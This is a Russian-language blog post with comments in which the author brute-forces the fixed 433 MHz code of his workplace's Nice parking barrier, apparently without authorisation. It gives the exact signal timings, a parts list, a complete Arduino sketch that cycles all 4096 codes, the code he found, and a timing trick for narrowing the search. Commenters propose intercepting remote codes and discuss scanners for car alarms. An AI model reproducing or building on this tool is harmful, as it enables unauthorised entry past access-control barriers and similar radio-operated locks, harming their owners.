И как во многих организациях, вход на мое предприятие осуществляется по обыкновенным пропускам, дабы контролировать меня и всех остальных. Ну и въезд на парковку сделали также, по этим же пропускам. То есть подъезжаешь к парковке, подносишь пропуск к считывателю, он срабатывает, шлагбаум открывается (закрывается автоматически), заезжаешь и все. Так думали они. Но мое увлечение электроникой и природная лень (это ведь каждый раз подъезжать, открывать окно, вытаскивать руку, закрывать окно, а если дождь, а если холодно) пошли против системы.
Итак, ближе к делу. Прежде всего, узнал, что шлагбаум оказался довольно-таки популярной фирмы Nice и начал искать о нем информацию. Однако, несмотря на популярность фирмы производителя, информации о его форматах кодов было очень мало. Выяснилось, что существуют 12-битные и 24-битные форматы кодов. 12-битные более древние, 24-битные – посовременней. Так как я знаю, что шлагбаум на работе стоит давно, решил начать с 12-битных кодов (впоследствии угадал). И так пакет данных состоит из 12 бит. Перед 12-битным кодом идет, так называемый, «пилотный период» и «стартовый импульс». «Пилотный период» состоит из 36 интервалов низкого уровня, «стартовый импульс» состоит из 1 интервала высокого уровня. Один пакет данных состоит из «пилотного периода», за ним «стартовый импульс» и за ним 12-битный код (для каждого шлагбаума свой). Пульты шлагбаумов передают сразу по 4 пакета данных, но я поставил больше, так как очень много устройств работают на данной частоте (в частности автомобильные сигнализации) и возможны помехи. Длительности импульсов для шлагбаумов Nice:
- Логическая «1» – 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
- Логический «0» – это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
- «Пилотный период» – 25200 мкс (36 интервалов)
- «Стартовый импульс» – 700 мкс (1 интервал)
Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то угадывать истинный код придется методом перебора всех возможных вариантов, а 4096.
С помощью чего, вообще, все это можно реализовать? Недавнее мое увлечение платформами Arduino, не дали мне долго размышлять над этим вопросом.
Список компонентов:
1. Arduino Uno,
2. Радиопередатчик 433Мгц, самодельная антенна к нему,
3. Батарейка 9 вольт, в народе «Крона».
Данные радиопередатчики в известных китайских магазинах продаются очень дешево (порядка 50 руб.), совместно с радиоприемниками. Они очень простые, три контакта: питание, земля и сигнальный контакт. Питания от 5 до 12 вольт, чем выше напряжение питания, тем лучше дальнобойность. Собственно по этой причине была выбрана 9 вольтовая батарейка. Рекомендованное напряжения питания Arduino Uno от 7 до 12 вольт (контакт Vin), так что «Крона» вполне подходит. Также дальнобойность радиопередатчика зависит от наличия антенны (без нее дальность будет около 1 метра). Весь комплект обошелся порядка 300 руб.
Вот, собственно, и сам скетч для Arduino Uno:
int send_code_pin = 13;
//int send_code = 3061; это код определенный методом перебора для моего шлагбаума
void setup()
{
pinMode(send_code_pin, OUTPUT);
}
void loop ()
{
for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
{
for (int j = 0; j <7; j++) // достаточно 4-х, но из-за помех поставил 7
{
digitalWrite(send_code_pin, HIGH); // стартовый импульс
delayMicroseconds(700);
digitalWrite(send_code_pin, LOW);
for (int i = 12; i > 0; i--)
{
boolean bit_code = bitRead(send_code, i - 1);
if (bit_code)
{
digitalWrite(send_code_pin, LOW); // единица
delayMicroseconds(1400);
digitalWrite(send_code_pin, HIGH);
delayMicroseconds(700);
}
else
{
digitalWrite(send_code_pin, LOW); // ноль
delayMicroseconds(700);
digitalWrite(send_code_pin, HIGH);
delayMicroseconds(1400);
}
}
digitalWrite(send_code_pin, LOW); // пилотный период
delayMicroseconds(25200);
}
}
//delay(10000); после определения кода поставить задержку
}
Перебор всех возможных вариантов занял около 1 недели, с учетом одного выхода в день к шлагбауму. Методика быстрого выбора правильного кода была очень простой. С помощью команды micros() определил время передачи одного кода. Он составил примерно 0,25 сек. Общее перебора всех вариантов около 17 мин. Перед шлагбаумом запустил Arduino и засек время. Где-то на 12,5 минуте открылся шлагбаум. Исходя из этого, я отбросил сразу первые 2800 вариантов. И так далее. Когда вариантов осталось около 30, после каждой передачи данных ставил задержку в 1 секунду. Так как контакт передачи данных я установил 13-ым (со светодиодом), было видно каждый момент передачи, подсчитал и определил точный код.
Вот и все! В качестве демо — видео вскрытия:
Спасибо за внимание!
Комментарии (28)
Akon32
05.10.2016 21:23Не быстрее ли подслушать код?
qwerty1023
05.10.2016 21:28Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то...
qwerty1023
05.10.2016 21:27В смысле никакого KeeLoq? Никакого обучения брелкам? Никаких проверок валидности последовательности? Просто подал какую-то последовательность бит и все?
AlexandrYudakov
05.10.2016 21:53Да, просто последовательность. На работе говорят, он уже больше 10 лет тут стоит, видимо древний.
Kcop
05.10.2016 23:50Закрывается он сам, через какое-то время? Или просто меняет свое текущее состояние при получении идентичного пакета данных?
AlexandrYudakov
06.10.2016 01:30Закрывается сам, где-то через минуту, если под шлагбаумом нет машины.
vorphalack
06.10.2016 06:52интересно, у нас есть два платных участка на трассе мск-спб с подобными шлагбаумами на выезде. будет смешно если к ним тоже по 433 обращаются.
TerrainLife
06.10.2016 13:59433 433-ём рознь) Это же всего лишь частота, вопрос то в протоколе
vorphalack
07.10.2016 01:30кто б спорил — но было б смешно, потому что 500р за проезд химкинской трассы бОльшую часть суток — это, ээ. да в общем по ленинградке жечь бензин дешевле выходит.
AlexandrYudakov
07.10.2016 15:41Протокол это раз, второе возможен (и скорее всего) динамический код, который меняется постояно.
ferosod
06.10.2016 09:01+1На прошлой работе мы делали открытие шлагбаума с телефона. Т.к. компания телекоммуникационная, в наличии была куча VoIP шлюзов. Взяли простенький однопортовый, спаяли схемку и подключили одним концом в голосовой шлюз, вместо телефонного аппарата, а другим — припаяли параллельно кнопке открытия шлагбаума (стационарной, на пульте охраны). Звонишь на нужный номер — попадаешь на Asterisk, который звонит на шлюз. Шлюз выдает в выходной порт порядка 20 В, чтобы телефон зазвонил, от этого напряжения открывается выходной транзистор и «замыкает» кнопку шлагбаума — вуаля! А т.к. астериск — можно привязать белые списки, расписание, логи открытия-закрытия и т.д.
Utopia
06.10.2016 13:59Я не понимаю одного — ладно шлагбаум, но почему до сих пор «сканят» автосигнализации?!
Да там чуть сложнее — но когда у моих знакомых обокрали машину — приехавшие криминалисты сказали сразу — сканер за 10.000$ сканит всё, включая самые-самые сигнализации!
Мне поразительно — ну есть же сейчас куча open-source систем шифрования открытым (а в нашем случае привязки брелков) лучше закрытым ключем! Скорость контролеров за 3$ мне кажется запросто потянет всю логику. В чем проблема? Заговор?!woooody
06.10.2016 14:48Пофигизм. Если и так покупают — зачем что-то менять?
Есть сигнализации, которые не вскрываются ни одним сканером. Почему-то все они российской разработки.
Akon32
06.10.2016 18:00Потому что 99% населения не отличают кодирования от шифрования, а шифрование от
авторизацииаутентификации.
Не имеют представления, как просто сделать, а тем более, купить сканер для подслушивания или перебора кода.
Думают, что такие устройства — нечто редкое и только у секретных агентов и по спецзаказу, "а моя машина никому не нужна".
А на деле — такая вот кустарщина, и, если профит от взлома превысит околонулевые затраты на устройство...
Почти никто не в курсе, что проблема с безопасностью есть. В головах древние представления "60-х годов".
Только просвещение может решить эту проблему. Уроки информатики 21-го века.
3gee
06.10.2016 14:00Интересно, но всё же почти неделю на перебор потратить как-то долго. Не проще было бы прикупить ещё экран или как другой вариант, прицепить кнопку, нажатие которой останавливает программу и пишет в EEPROM текущий код? Потратили бы чуть-чуть ресурс памяти, но сэкономили бы время.
navrotskiy
06.10.2016 14:02Можно еще модернизировать схему, повесив кнопку на Ардуино, при нажатии на которую текущий вариант записывается в EEPROM. Потом просто при следующем подключении к компьютеру вывести его значение в монитор порта. Конечно, возможно точную комбинацию сразу и не определить, но мне кажется, так было бы быстрее и удобнее.
AlexandrYudakov
06.10.2016 14:03Честно говоря, у меня не было цели как можно быстрей открыть шлагбаум. В обед выходил на 10 мин к шлагбауму и развлекался. А Ваша идея — хорошая.
Akon32
06.10.2016 18:09Можно и цифровой дисплей добавить для вывода номера кода. Стоит недорого, библиотека для управления подключается за 10 минут. И 2-3 кнопки для управления перебором.
4robots
06.10.2016 20:20Отлично! Вижу цель, верю в себя!
В самом задрипаном ардуино — есть пзу, которое можно писать и читать.
Так что можно было с первого раза код там сохранить как и немного своего времени.
qwerty1023
07.10.2016 09:22Меня не покидает мысль, что что-то тут не так :) Хочу дальнейших исследований от автора :)
Допустим Nice делает брелки с уникальными серийниками для того, чтобы вашим брелком не открывался шлагбаум соседа. Эти брелки должны прописываться в память контроллера при процедуре обучения брелкам. Для того, чтобы гарантировать, что код с брелка пришел валидный (при обучении, например) он должен быть снабжен какой-то проверкой CRC.
Получается, что перебором получилось найти либо посылку записанного брелка (а таких, получается, может быть несколько), либо какой-то «мастер-код», который возможно будет одинаковым на всех подобных устройствах. Плюс к этому, если в посылке есть какая-то CRC то перебор можно сократить рассчитывая остальную часть от изменяемой.
Slym99
09.10.2016 07:56динамический код называется keeloq… дубликатов с этим алгоритмом не бывает, точнее дубликат будет до разсинхронизации одного из пультов, а это в среднем 20 нажатий/комманд
тут чел сделал keeloq на ардуине http://arduinolab.pw/index.php/2016/07/04/radiopult-s-dinamicheskim-keeloq-kodom-na-arduino-kod-iz-video/
но все равно требуется обучение шлагбаума
serafims
К слову, в 24-битном варианте при 0,25 сек на один код он сбрутится через 48 дней
osipov_dv
Можно сделать хитрость, и попытатся перехватить код. Только надо тогда собирать еще и приемник.
Может быть автор соберет и этот вариант? :)
AlexandrYudakov
Как раз появилась в этом надобность сегодня, буду пытаться))
CmpeJ1ok
да, я думаю, вам бы облегчело в разы такое устр-во, хотя и по вашей «схеме» вы сумели незатягивать процесс подбора — браво